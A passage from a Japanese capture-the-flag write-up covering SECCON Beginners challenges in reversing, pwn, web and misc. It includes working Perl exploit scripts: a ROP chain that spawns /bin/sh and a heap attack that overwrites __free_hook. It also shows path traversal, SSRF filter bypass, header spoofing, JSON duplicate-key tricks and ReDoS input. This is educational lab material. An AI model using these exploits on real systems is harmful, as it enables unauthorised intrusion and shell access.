		*(unsigned int*)r4 = r3; r4 += 4;
		/* b2a */
		r0 = *(unsigned int*)r5; r5 += 4;
		r1 = *(unsigned int*)r5; r5 += 4;
		/* b2e */
		*(unsigned int*)r4 = r0;
		r4 += 4;
		*(unsigned char*)r4 = r1;
		/* b34 */
		r2 = strlen(r7 + 344 - 12);
		/* b42 */
		r1 = r7 + 344 - 12;
		r0 = r7 + 24 - 8;
		send(*(unsigned int*)r0, r1, r2, 0);
		/* b56 */
		r3 = r7 + 472 - 4;
		memset(r3, 0, 4096);
		/* b68 */
		r1 = r7 + 472 - 4;
		r0 = r7 + 24 - 8;
		recv(*(unsigned int*)r0, r1, 4096, 0);
		/* b80 */
		r1 = r7 + 472 - 4;
		r3 = (unsigned int)"%s": /* 0xB8E + 0x28A */
		printf(r3, r1);
		/* b92 */
		r3 = r7 + 88 - 24;
		r2 = (unsigned int)array_0EA4; /* 0xB9E + 0x306 */
		/* b9c */
		memcpy(r3, r2, 244);
		/* ba8 */
		r3 = r7 + 472 - 4;
		r3 = strlen(r3);
		if (r3 != 61) {
			/* bba */
			r3 = r7 + 312 - 4;
			r2 = (unsigned int)"Incorrect password.\n"; /* 0xBC6 + 0x3D2 */
			/* bc4 */
			r4 = r3:
			r5 = r2;
			/* bc8 */
			r0 = *(unsigned int*)r5; r5 += 4;
			r1 = *(unsigned int*)r5; r5 += 4;
			r2 = *(unsigned int*)r5; r5 += 4;
			r3 = *(unsigned int*)r5; r5 += 4;
			/* bca */
			*(unsigned int*)r4 = r0; r4 += 4;
			*(unsigned int*)r4 = r1; r4 += 4;
			*(unsigned int*)r4 = r2; r4 += 4;
			*(unsigned int*)r4 = r3; r4 += 4;
			/* bcc */
			r0 = *(unsigned int*)r5; r5 += 4;
			r1 = *(unsigned int*)r5; r5 += 4;
			/* bd0 */
			*(unsigned int*)r4 = r0;
			r4 += 4;
			*(unsigned char*)r4 = r1;
			/* bd6 */
			r3 = r7 + 312 - 4;
			r2 = strlen(r3);
			/* be4 */
			r1 = r7 + 312 - 4;
			r0 = r7 + 24 - 8;
			send(*(unsigned int*)r0, r1, r2, 0);
			/* bf8 */
			r3 = r7 + 24 - 8;
			close(*(unsigned int*)r3);
		}
		/* c04 */
		r3 = r7 + 24 - 16;
		*(unsigned int*)r3 = 0;
		/* c9c */
		for (;;) {
			r3 = r7 + 24 - 16;
			r3 = *(unsigned int*)r3;
			if (r3 > 60) break;
			/* c10 */
			r3 = r7 + 472 - 4;
			r2 = r7 + 24 - 16;
			r2 = *(unsigned int*)r2;
			r3 += r2;
			r3 = *(unsigned char*)r3;
			/* c22 */
			r1 = r3 ^ 0x53;
			/* c2a */
			r3 = r7 + 88 - 24;
			r2 = r7 + 24 - 16;
			r2 = *(unsigned int*)r2;
			r3 = *(unsigned int*)(r3 + (r2 << 2));
			if (r1 != r3) {
				/* c40 */
				r3  r7 + 312 - 4;
				r2 = (unsigned int)"Incorrect password.\n"; /* 0xC4C + 0x34C */
				/* c4a */
				r4 = r3;
				r5 = r2;
				/* c4e */
				r0 = *(unsigned int*)r5; r5 += 4;
				r1 = *(unsigned int*)r5; r5 += 4;
				r2 = *(unsigned int*)r5; r5 += 4;
				r3 = *(unsigned int*)r5; r5 += 4;
				/* c50 */
				*(unsigned int*)r4 = r0; r4 += 4;
				*(unsigned int*)r4 = r1; r4 += 4;
				*(unsigned int*)r4 = r2; r4 += 4;
				*(unsigned int*)r4 = r3; r4 += 4;
				/* c52 */
				r0 = *(unsigned int*)r5; r5 += 4;
				r1 = *(unsigned int*)r5; r5 += 4;
				/* c56 */
				*(unsigned int*)r4 = r0;
				r4 += 4;
				*(unsigned char*)r4 = r1;
				/* c5c */
				r3 = r7 + 312 - 4;
				r2 = strlen(r3);
				/* c6a */
				r1 = r7 + 312 - 4;
				r0 = r7 + 24 - 8;
				send(*(unsigned int*)r0, r1, r2, 0);
				/* c7e */
				r3 = r7 + 24 - 8;
				close(*(unsigned int*)r3);
			}
			/* c8a */
			r3 = r7 + 24 - 16;
			r2 = r7 + 24 - 16;
			r2 = *(unsigned int*)r2;
			r2 += 1;
			*(unsigned int*)r3 = r2;
		}
		/* ca8 */
		r3 = r7 + 312 - 4;
		r2 = (unsigned int)"Correct password!!!\n"; /* 0xCB4 + 0x2FC */
		/* cb2 */
		r4 = r3;
		r5 = r2;
		/* cb6 */
		r0 = *(unsigned int*)r5; r5 += 4;
		r1 = *(unsigned int*)r5; r5 += 4;
		r2 = *(unsigned int*)r5; r5 += 4;
		r3 = *(unsigned int*)r5; r5 += 4;
		/* cb8 */
		*(unsigned int*)r4 = r0; r4 += 4;
		*(unsigned int*)r4 = r1; r4 += 4;
		*(unsigned int*)r4 = r2; r4 += 4;
		*(unsigned int*)r4 = r3; r4 += 4;
		/* cba */
		r0 = *(unsigned int*)r5; r5 += 4;
		r1 = *(unsigned int*)r5; r5 += 4;
		/* cbe */
		*(unsigned int*)r4 = r0;
		r4 += 4;
		*(unsigned char*)r4 = r1;
		/* cc4 */
		r3 = r7 + 312 - 4;
		r2 = strlen(r3);
		/* cd2 */
		r1 = r7 + 312 - 4;
		r0 = r7 + 24 - 8;
		send(*(unsigned int*)r0, r1, r2, 0);
		/* ce6 */
		r3 = r7 + 24 - 8;
		close(*(unsigned int*)r3);
		/* cf2 */
	}
}

これに基づき、もう少しわかりやすくすると、以下のようになった。

firm-kakikudasi-2.c
firm-kakikudasi-2.c
unsigned int embed_data[] = {
	0x30, 0x27, 0x35, 0x67, 0x31, 0x28, 0x3A, 0x63,
	0x27, 0x0C, 0x37, 0x36, 0x25, 0x62, 0x30, 0x36,
	0x0C, 0x35, 0x3A, 0x21, 0x3E, 0x24, 0x67, 0x21,
	0x36, 0x0C, 0x32, 0x3D, 0x32, 0x62, 0x2A, 0x20,
	0x3A, 0x60, 0x0C, 0x21, 0x36, 0x25, 0x60, 0x32,
	0x62, 0x20, 0x0C, 0x32, 0x0C, 0x3F, 0x63, 0x27,
	0x0C, 0x3C, 0x35, 0x0C, 0x66, 0x36, 0x30, 0x21,
	0x36, 0x64, 0x20, 0x2E, 0x59
};

int main(void) {
	char buffer_472_4[4096]; /* r7 + 472 - 4 */
	char buffer_376_4[1024]; /* r7 + 376 - 4 */
	char buffer_344_12[1024]; /* r7 + 344 - 12 */
	char buffer_312_4[1024]; /* r7 + 312 - 4 */
	int buffer_88_24[256]; /* r7 + 88 - 24 */

	char* file_data; /* r7 + 56 - 28 */
	struct bind_data_struct {
		unsigned short v0, port;
		unsigned int v1;
		unsigned int unused[2];
	} bind_data; /* r7 + 56 - 24 */
	char ac_addr[16]; /* r7 + 56 - 8 */

	int ac_addrlen; /* r7 + 24 - 20 */
	int i; /* r7 + 24 - 16 */
	int sock; /* r7 + 24 - 12 */
	int ac_sock; /* r7 + 24 - 8 */
	FILE* fp; /* r7 + 24 - 4 */
	int file_size; /* r7 + 24 */

	int len;
	int tmp1, tmp2;

	/* 90a */
	sock = socket(2, 1, 0);
	/* 920 */
	if (sock < 0) {
		perror("Failed to set socket.");
		return 1;
	}
	/* 93a */
	bind_data.v0 = 2;
	bind_data.port = htons(8080);
	bind_data.v1 = 0;
	if (bind(sock, &bind_data, 16) != 0) {
		perror("Failed to bind.");
		return 1;
	}
	/* 98a */
	if (listen(sock, 5) != 0) {
		perror("Failed to listen.");
		return 1;
	}
	/* 9ac */
	for (;;) {
		/* 9ac */
		ac_addrlen = 16;
		ac_sock = accept(sock, ac_addr, &ac_addrlen);
		/* 9d6 */
		fp = fopen("ascii.txt", "r");
		/* 9ee */
		if (fp == 0) {
			perror("Failed to read file.");
			close(ac_sock);
			return 1;
		}
		/* a14 */
		fseek(fp, 0, 2);
		file_size = ftell(fp);
		fseek(fp, 0, 0):
		/* a46 */
		file_data = calloc(file_size, 1);
		if (file_data == 0) {
			perror("Failed to read file.");
			close(ac_sock);
			return 1;
		}
		/* a84 */
		fread(file_data, 1, file_size, fp);
		fclose(fp);
		/* aac */
		len = strlen(file_data);
		send(ac_sock, file_data, len, 0);
		free(file_data);
		/* adc */
		memcpy(buffer_376_4, "This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n");
		len = strlen(buffer_376_4);
		send(ac_sock, buffer_376_4, len, );
		/* b14 */
		memcpy(buffer_344_12, "Input password (password is FLAG) > ", 37);
		/* b34 */
		len = strlen(buffer_344_12);
		send(ac_sock, buffer_344_12, len, 0);
		/* b56 */
		memset(buffer_472_4, 0, 4096);
		recv(ac_sock, buffer_472_4, 4096, 0);
		printf("%s", buffer_472_4);
		/* b92 */
		memcpy(buffer_88_24, embed_data, 244);
		if (strlen(buffer_472_4) != 61) {
			/* bba */
			memcpy(buffer_312_4, "Incorrect password.\n", 21);
			len = strlen(buffer_312_4);
			send(ac_sock, buffer_312_4, len, 0);
			close(ac_sock);
		}
		/* c04 */
		for (i = 0; i <= 60; i++) {
			/* c10 */
			tmp1 = buffer_472_4[i] ^ 0x53;
			tmp2 = buffer_88_24[i];
			if (tmp1 != tmp2) {
				/* c40 */
				memcpy(buffer_312_4, "Incorrect password.\n", 21);
				len = strlen(buffer_312_4);
				send(ac_sock, buffer_312_4, len, 0);
				close(ac_sock);
			}
		}
		/* cba */
		memcpy(buffer_312_4, "Correct password!!!\n", 21);
		len = strlen(buffer_312_4);
		send(ac_sock, buffer_312_4, len, 0);
		close(ac_sock);
	}
}

肝心なのはアドレス0xc04からのループであり、ここで入力に固定の値をxorし、
あらかじめ用意された配列の要素と比較している。
そこで、これに当てはまる入力を以下のプログラムで求めることで、flagが得られた。

get.py
get.py
embed_data = [
	0x30, 0x27, 0x35, 0x67, 0x31, 0x28, 0x3A, 0x63,
	0x27, 0x0C, 0x37, 0x36, 0x25, 0x62, 0x30, 0x36,
	0x0C, 0x35, 0x3A, 0x21, 0x3E, 0x24, 0x67, 0x21,
	0x36, 0x0C, 0x32, 0x3D, 0x32, 0x62, 0x2A, 0x20,
	0x3A, 0x60, 0x0C, 0x21, 0x36, 0x25, 0x60, 0x32,
	0x62, 0x20, 0x0C, 0x32, 0x0C, 0x3F, 0x63, 0x27,
	0x0C, 0x3C, 0x35, 0x0C, 0x66, 0x36, 0x30, 0x21,
	0x36, 0x64, 0x20, 0x2E, 0x59
]

ans = ""

for e in embed_data:
	ans += chr(e ^ 0x53)

print(ans)
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}

pwnable

rewriter

TCPサーバーの接続情報と、そこで動いていると考えられるプログラム(C言語のソースコードとELFファイル)が与えられた。

C言語のソースコードを読むと、書き込むアドレスと値を指定して1回long型の値を書き込めるようになっていた。
また、指定する前にスタックの様子をわかりやすく図示してくれる。
さらに、execveにより/bin/cat flag.txtを実行するwin関数がある。

まず、TDM-GCCのobjdumpによりELFファイルを逆アセンブルし、win関数のアドレスを求める。
そして、書き込み先のアドレスを図中のsaved ret addrの位置、
値をwin関数の冒頭のpush命令の次のアドレスである0x4011fbとした。
push命令を飛ばすのは、リターンアドレスを利用して関数に制御を移すにあたってずれる
スタックのアラインメントを調整するためである。

00000000004011f6 <win>:
  4011f6:	f3 0f 1e fa          	endbr64 
  4011fa:	55                   	push   %rbp
  4011fb:	48 89 e5             	mov    %rsp,%rbp
  4011fe:	48 83 ec 20          	sub    $0x20,%rsp

これにより、flagが得られた。
(よく見たら、図中のsaved ret addrは正しいようだが、targetとvalueが逆のような気が…)

実行例
[Addr]              |[Value]
====================+===================
 0x00007ffdf1587b70 | 0x0000000000000000  <- buf
 0x00007ffdf1587b78 | 0x0000000000000000
 0x00007ffdf1587b80 | 0x0000000000000000
 0x00007ffdf1587b88 | 0x0000000000000000
 0x00007ffdf1587b90 | 0x0000000000000000  <- target
 0x00007ffdf1587b98 | 0x0000000000000000  <- value
 0x00007ffdf1587ba0 | 0x0000000000401520  <- saved rbp
 0x00007ffdf1587ba8 | 0x00007f2207b26bf7  <- saved ret addr
 0x00007ffdf1587bb0 | 0x0000000000000001
 0x00007ffdf1587bb8 | 0x00007ffdf1587c88

Where would you like to rewrite it?
> 0x00007ffdf1587ba8
0x00007ffdf1587ba8 = 0x4011fb

[Addr]              |[Value]
====================+===================
 0x00007ffdf1587b70 | 0x6266313130347830  <- buf
 0x00007ffdf1587b78 | 0x623738353166000a
 0x00007ffdf1587b80 | 0x00000000000a3861
 0x00007ffdf1587b88 | 0x0000000000000000
 0x00007ffdf1587b90 | 0x00000000004011fb  <- target
 0x00007ffdf1587b98 | 0x00007ffdf1587ba8  <- value
 0x00007ffdf1587ba0 | 0x0000000000401520  <- saved rbp
 0x00007ffdf1587ba8 | 0x00000000004011fb  <- saved ret addr
 0x00007ffdf1587bb0 | 0x0000000000000001
 0x00007ffdf1587bb8 | 0x00007ffdf1587c88

ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}

beginners_rop

TCPサーバーの接続情報と、そこで動いていると考えられるプログラムのファイル一式が与えられた。

与えられたC言語のソースコードを読むと、main関数はgetsしてそれをputsするだけのシンプルなものであった。
また、配布ファイル中にlibc-2.27.soがあることから、これを活用することが求められそうだ。

これを活用するため、まずはlibcのメモリ上の位置を特定したい。
メインのELFファイルのTDM-GCCのobjdumpによる逆アセンブルの結果を見ると、

0000000000401080 <alarm@plt>:
  401080:	f3 0f 1e fa          	endbr64 
  401084:	f2 ff 25 95 2f 00 00 	bnd jmpq *0x2f95(%rip)        # 404020 <alarm@GLIBC_2.2.5>
  40108b:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)

という部分があり、0x404020番地にalarm関数の位置が格納されそうである。
また、libc-2.27.soのTDM-GCCのobjdumpによる逆アセンブルの結果より、alarm関数の仮の位置もわかる。

00000000000e4610 <alarm@@GLIBC_2.2.5>:
   e4610:	b8 25 00 00 00       	mov    $0x25,%eax
   e4615:	0f 05                	syscall 

そこで、まずは以下のROP (Return-Oriented Programming) により、
puts関数でalarm関数の位置を出力させた後、もう一度main関数を実行させるようにした。

0x401283 # pop rdi; ret
0x404020 # alarm
0x401070 # puts
0x401196 # main

スタックのアラインメントは動かなかったら考えようと思ったが、動いたのでヨシ。
これでalarm関数のメモリ上の位置が求まるので、仮の位置を引くことでその差も求まる。
この情報と、libc-2.27.soからバイナリエディタで検索して求めた各種gadgetの場所の情報をもとに、
まずgets関数で適当な場所に/bin/shを書き込ませ、それを用いてexecve("/bin/sh", 0, 0)を実行させた。

0x44c58 + offset # pop rdi; ret
0x404018 # "/bin/sh"を書き込ませる場所
0x401090 # gets
0x43ae8 + offset # pop rax; ret
59
0x44c58 + offset # pop rdi; ret
0x404018 # "/bin/sh"
0x23eea + offset # pop rsi; ret
0
0x01b96 + offset # pop rdx; ret
0
0xd2745 + offset # syscall
attack.pl
attack.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"beginners-rop.quals.beginners.seccon.jp",
	PeerPort=>4102, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);

my $alarm_addr = 0xe4610;

my $binsh_buf = 0x404018;

my $query = ("a" x 0x100) . "01234567" . pack("Q*",
	0x401283, # pop rdi; ret
	0x404020, # alarm
	0x401070, # puts
	0x401196  # main
) . "\n";
print $sock $query;

my $l1 = <$sock>;
while (index($l1, "\n") < 0) { $l1 .= <$sock>; }
my $addr_str = <$sock>;
while (index($addr_str, "\n") < 0) { $addr_str .= <$sock>; }
chomp($addr_str);

my $addr = unpack("Q", $addr_str . ("\x00" x (8 - length($addr_str))));

printf("addr = 0x%x\n", $addr);

my $offset = $addr - $alarm_addr;

my $query2 = ("a" x 0x100) . "01234567" . pack("Q*",
	0x44c58 + $offset, # pop rdi; ret
	$binsh_buf,
	0x401090, # gets
	0x43ae8 + $offset, # pop rax; ret
	59,
	0x44c58 + $offset, # pop rdi; ret
	$binsh_buf,
	0x23eea + $offset, # pop rsi; ret
	0,
	0x1b96 + $offset, # pop rdx; ret
	0,
	0xd2745 + $offset, # syscall
) . "\n";
print $sock $query2;

my $l2 = <$sock>;
while (index($l2, "\n") < 0) { $l2 .= <$sock>; }

print $sock "/bin/sh\n";

print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";

while (<$sock>) { print $_; }

close($sock);
ctf4b{H4rd_ROP_c4f3}

uma_catch

TCPサーバーの接続情報と、そこで動いていると考えられるプログラムのファイル一式が与えられた。

このプログラムは、以下の操作ができる。

  • ウマを確保(malloc())する
  • ウマに名前を付ける (構造体の先頭部分への書き込み)
  • ウマの名前をprintf()の第一引数に渡して出力する
  • ウマを踊らせる (構造体に書き込まれた関数の実行)
  • ウマを開放(free())する

どうやら、こんなこともあろうかと予習しておいたコレが役に立ちそうだ。
free()した場所への書き込みで、malloc()の結果を操作する - Qiita

まずはウマの名前として%p%p%p%p%p%p%p%p%p%p%p%p%p%p%pを入力して出力させ、様子を見てみた。
すると、出力は以下のようになった。 (行番号と改行を補っている)

 1: 0xffffffda
 2: (nil)
 3: (nil)
 4: 0x7ffdf8afa091
 5: (nil)
 6: 0x7ffdf8afa0f0
 7: 0x55df275eb3cf
 8: 0x7ffdf8afa1d0
 9: 0x300000000
10: 0x55df275eb7f0
11: 0x7f3c62d6cbf7
12: 0x1
13: 0x7ffdf8afa1d8
14: 0x100008000
15: 0x55df275eb2c9

この中で、メインのプログラムの近くと考えられる0x55~系ではなく、かつ他の0x7f~系より少し小さい、
11番目の0x7f3c62d6cbf7がどうやらlibcの位置の特定に使えるmainのリターンアドレスのようである。
そして、今回問題を解いていくにあたって得た経験則として、
仮位置とメモリ上の位置の十六進数の下3桁が一致することが多いようなので、
TDM-GCCのobjdumpによるlibc-2.27.soの逆アセンブル結果中の__libc_start_main@@GLIBC_2.2.5の中で、
このリターンアドレスと下3桁が一致する仮位置を持つ戻り先である0x21bf7が、
このリターンアドレスに対応すると推測できた。

   21bdd:	48 8b 05 c4 92 3c 00 	mov    0x3c92c4(%rip),%rax        # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
   21be4:	48 8b 74 24 08       	mov    0x8(%rsp),%rsi
   21be9:	8b 7c 24 14          	mov    0x14(%rsp),%edi
   21bed:	48 8b 10             	mov    (%rax),%rdx
   21bf0:	48 8b 44 24 18       	mov    0x18(%rsp),%rax
   21bf5:	ff d0                	callq  *%rax
   21bf7:	89 c7                	mov    %eax,%edi
   21bf9:	e8 42 16 02 00       	callq  43240 <exit@@GLIBC_2.2.5>

これに基づいてlibcのオフセットを特定できたら、
次にこの情報と、予習によって学んだmalloc()が返すアドレスを設定する方法を用い、
malloc()__free_hookのアドレスを返させることで、__free_hookに値を書き込めるようにした。

予習によって学んだmalloc()が返すアドレスを設定する方法は、以下のようなものである。

  1. malloc()で同じ大きさの領域を2個確保する
  2. それらの領域をfree()で開放する
  3. 2番目に開放した領域に、malloc()に返させたいアドレスを書き込む
  4. malloc()で同じ大きさの領域を2個確保する → 2個目として書き込んだアドレスが返る

今回の場合、確保する大きさは構造体の大きさで固定であり、
確保・開放・(開放した領域を含む)書き込みが十分な自由度で行えるので、この操作ができ、実際に有効であった。
__free_hookの仮位置は、TDM-GCCのobjdumpによるlibc-2.27.soの逆アセンブル結果に

   90e79:	48 8b 05 70 a0 35 00 	mov    0x35a070(%rip),%rax        # 3eaef0 <__free_hook@@GLIBC_2.2.5-0x29f8>

という形で現れており、0x3eaef0 + 0x29f8 = 0x3ed8e8__free_hookの仮位置である。

__free_hookに書き込めるようにしたら、これを利用して__free_hooksystem関数に設定した。
具体的には、__libc_system@@GLIBC_PRIVATE関数の位置を書き込んだ。

最後に、適当なウマの名前として"/bin/sh"を設定し、そこに対してfree()を実行すれば、
__free_hookの設定によりsystem("/bin/sh")を実行することができる。
今回はウマの名前を受け取るのにfgets()関数が使われており、入力した改行がバッファに入ってしまうので、
/bin/shと改行の間にナル文字を入れるのがポイントであった。

attack.pl
attack.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"uma-catch.quals.beginners.seccon.jp",
	PeerPort=>4101, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);

sub read_to_prompt {
	my $ret = "";
	my $rep = 0;
	while (index($ret, "> ") < 0) {
		my $readlen = read($sock, $ret, 1, length($ret));
		unless(defined($readlen)) {
			print $ret;
			die "socket read error $!\n";
		}
		if ($readlen == 0) {
			sleep 1;
			$rep++;
			if ($rep > 5) {
				print $ret;
				die "socket read timeout!\n";
			}
		}
	}
	#print $ret;
	return $ret;
}

&read_to_prompt();

# obtain libc address offset by printf()

print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "0"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color

print $sock "2"; &read_to_prompt(); # name hourse
print $sock "0"; &read_to_prompt(); # index
print $sock "\%p\%p\%p\%p\%p\%p\%p\%p\%p\%p\%p\n"; &read_to_prompt(); # name

print $sock "3"; &read_to_prompt(); # show hourse
print $sock "0"; # index
my $libc_addr_str = &read_to_prompt();
unless ($libc_addr_str =~ /0x([0-9a-fA-F]+)\n/) {
	close($sock);
	die "invalid address\n";
}
my $libc_addr = hex($1);
my $libc_offset = $libc_addr - 0x21bf7;

printf("libc_addr = %x\n", $libc_addr);

# 2 malloc() -> 2 free() -> 2 malloc() magic to set address returned by malloc()

print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "1"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color

print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "2"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color

print $sock "5"; &read_to_prompt(); # release hourse
print $sock "1"; &read_to_prompt(); # index

print $sock "5"; &read_to_prompt(); # release hourse
print $sock "2"; &read_to_prompt(); # index

print $sock "2"; &read_to_prompt(); # name hourse
print $sock "2"; &read_to_prompt(); # index
print $sock (pack("Q", 0x3eaef0 + 0x29f8 + $libc_offset) . "\n"); &read_to_prompt(); # __free_hook

print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "3"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color

print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "4"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color

# set __free_hook to __libc_system

print $sock "2"; &read_to_prompt(); # name hourse
print $sock "4"; &read_to_prompt(); # index
print $sock (pack("Q", 0x4f550 + $libc_offset) . "\n"); &read_to_prompt(); # __libc_system

# set string for system()

print $sock "2"; &read_to_prompt(); # name hourse
print $sock "3"; &read_to_prompt(); # index
print $sock "/bin/sh\0\n"; &read_to_prompt(); # address

# call system("/bin/sh")

print $sock "5"; &read_to_prompt(); # release hourse
print $sock "3"; # index

# shell commands

print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";

# cleanup

print $sock "6"; # exit

print &read_to_prompt();

close($sock);
ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}

2021_emulator

TCPサーバーの接続情報と、そこで動いていると考えられるプログラムのファイル一式が与えられた。

プログラムは、Intel 8080の命令のサブセットを読み込み、実行するものである。
(このWebページは問題文で紹介されていたものである)
.hファイルに直接関数の定義を書く悪い設計。関数の定義は.cに書いてヘッダには宣言だけを置くべし。
レジスタの値の配列、メモリの値の配列、命令を実行する関数の配列が構造体にまとまっており、
命令はこの構造体へのポインタを関数に渡して実行する。
レジスタはそれぞれ8ビットであり、メモリの値の配列は0x4000バイト確保されている。

さて、このプログラムで実行できる命令の中に、MVIというものがある。
これは、指定したレジスタまたはメモリ(アドレスはH:Lレジスタで指定)に、指定した即値を書き込めるものである。
今回の実装では、メモリにアクセスする際にアドレスのチェックやマスクをしていないため、
配列は0x4000バイトしか無いのに、0xffffバイト目までアクセスが可能である。

これらを踏まえると、MVI命令を利用し、

  • メモリへの書き込みを利用し、命令を実行する関数の配列にsystem関数を実行できるアドレスを書き込む
  • レジスタへの書き込みを利用し、構造体の先頭に"/bin/sh"を書き込む
  • アドレスを書き換えた命令を実行することで、system("/bin/sh")の実行となる

という手順を踏むことで、シェルを実行することができる。
なお、レジスタは12個であるため、
メモリの値の配列と命令を実行する関数の配列の間には4バイトのパディングがあるようであった。
TDM-GCCのobjdumpで逆アセンブルした結果より、0x4010d0が「system関数を実行できるアドレス」となる。

00000000004010d0 <system@plt>:
  4010d0:	f3 0f 1e fa          	endbr64 
  4010d4:	f2 ff 25 45 3f 00 00 	bnd jmpq *0x3f45(%rip)        # 405020 <system@GLIBC_2.2.5>
  4010db:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)

具体的には、以下の命令列でこの手順を実現できる。
RET命令は、プログラムに命令列の読み取りを終了させるために置いている。

MVI H, 0x40     <26><40>
MVI L, 0x04     <2E><04>
MVI M, 0x20     <36><D0>
MVI L, 0x05     <2E><05>
MVI M, 0x50     <36><10>

MVI A, 0x2F     <3E><2F>
MVI B, 0x62     <06><62>
MVI C, 0x69     <0E><69>
MVI D, 0x6E     <16><6E>
MVI E, 0x2F     <1E><2F>
MVI H, 0x73     <26><73>
MVI L, 0x68     <2E><68>

NOP             <00>
RET             <C9>

これらを繋げた命令列

<26><40><2E><04><36><D0><2E><05><36><10><3E><2F><06><62><0E><69><16><6E><1E><2F><26><73><2E><68><00><C9>

TCP/IPテストツールで送信し、
シェルでcat flag.txtコマンドを実行することで、flagが得られた。

ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}

web

osoba

WebページのURLと、tar.gzファイルが与えられた。
また、問題文より、

フラグはサーバの /flag にあります!

とのことである。

指定のWebページに行き、適当なリンクをクリックすると、

https://osoba.quals.beginners.seccon.jp/?page=public/wip.html

のようなURLになった。そこで、これを

https://osoba.quals.beginners.seccon.jp/?page=public/../../../flag

と書き換えてアクセスすることで、flagが得られた。
開始直後Access Deniedになったこともあり、tar.gzファイルは参照しなかった。

ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}

Werewolf

WebページのURLと、そこで動いていると思われるPythonのソースコードが与えられた。

プログラムは、POSTリクエストがあった場合、

  1. player = Player() オブジェクトを作る
  2. フォームの情報に基づき、player.__dict__の要素に代入を行う
  3. player.role == 'WEREWOLF' となっていれば、flagを出力する

となっていた。
このplayer.roleself.__roleを返すプロパティ関数であり、
self.__roleはオブジェクトの初期化(__init__)時に適当に初期化される。

さらに、このオブジェクトのコピーをPythonのインタラクティブモードにコピペして試してみると、p.__dict__

{'name': None, 'color': None, '_Player__role': 'FORTUNE_TELLER'}

のようになっており、p.__dict__['_Player__role']を書き換えれば良さそうであることが読み取れた。

Webページのフォームにはテキストの入力欄があるので、
そこのnameを開発者ツールで_Player__roleに書き換え、WEREWOLFと入力して送信することで、flagが得られた。

ctf4b{there_are_so_many_hackers_among_us}

check_url

WebページのURLと、そこで動いていると考えられるPHPのソースコードが与えられた。

このプログラムは、指定したURLにcurlのライブラリでアクセスするが、
URLのうち半角英数字、/:以外はオバケの絵文字に置き換えるようになっていた。
さらに、URLにlocalhostまたはapacheが入っている場合は弾くようになっていた。
また、$_SERVER["REMOTE_ADDR"] === "127.0.0.1"のとき、flagを出力するようになっていた。

問題jsonで使ったヘッダX-Forwarded-Forを試してみたが、効果はみられなかった。

IPアドレスは数値でも表現できた気がしたので、http://2130706433/を試したところ、
Bad Requestの画面が表示された。
(他の無効なURLだとそもそも画面が表示されなかったので、これは大きな一歩である)

そこでこのhttp://2130706433/でググったところ、
127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita
が見つかった。
ここにあったhttp://0x7F000001/を入れることで、flagを得ることができた。

ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

json

WebページのURLと、そこで動いていると考えられるプログラムなどのファイル一式が与えられた。

Webページには、

このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。

と表示されていた。

配布されたファイル中のnginx/default.confを見ると

    location / {
        proxy_pass   http://bff:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }

という記述があったので、Firefoxの開発者ツールの「編集して再送信」で

X-Forwarded-For: 192.168.111.0

というヘッダを追加して再送信してみたところ、この制限を突破できた。
表示されたページでは、flagを含む数種類の情報を得られる感じになっていた。
POSTリクエストで

{"id":0}

のような形式のボディーを送信することで、情報を選択して得ることができた。
しかし、flagを選択するために

{"id":2}

を送信すると、

It is forbidden to retrieve Flag from this BFF server.

と出てしまった。
詳しく見てみると、リクエストを受け付けるbff/main.goでは

json.Unmarshal(body, &info)

を用いてIDをチェックし、弾いている一方、情報を返すapi/main.goでは

jsonparser.GetInt(body, "id")

を用いてIDを取得している。
詳しい理由はわからないが、

{"id":2, "id":0}

というボディーを送信することで、flagが得られた。

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}

misc

git-leak

.gitディレクトリを含むファイル一式が与えられた。

後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?

とのことなので、とりあえずgit reflogして、左端のIDを上からgit diffに入れていったところ、

git diff 7387982

でflagが出てきた。

ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

Mail_Address_Validator

TCPサーバーの接続情報と、そこで動いていると考えられるRubyのソースコードが与えられた。

プログラムは、入力が正規表現

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

に当てはまるかをチェックし、チェックが5秒のタイムアウトに引っかかればflagが出力されるものであった。

  • アルファベットが多くあった後、.を入れて手戻りを多く発生させたら時間がかかるかな
  • 時間いっぱいくらい大量に投げつければいいかな

と思い、とりあえず少ない個数で試した結果、それでflagが得られた。

attack.pl
attack.pl
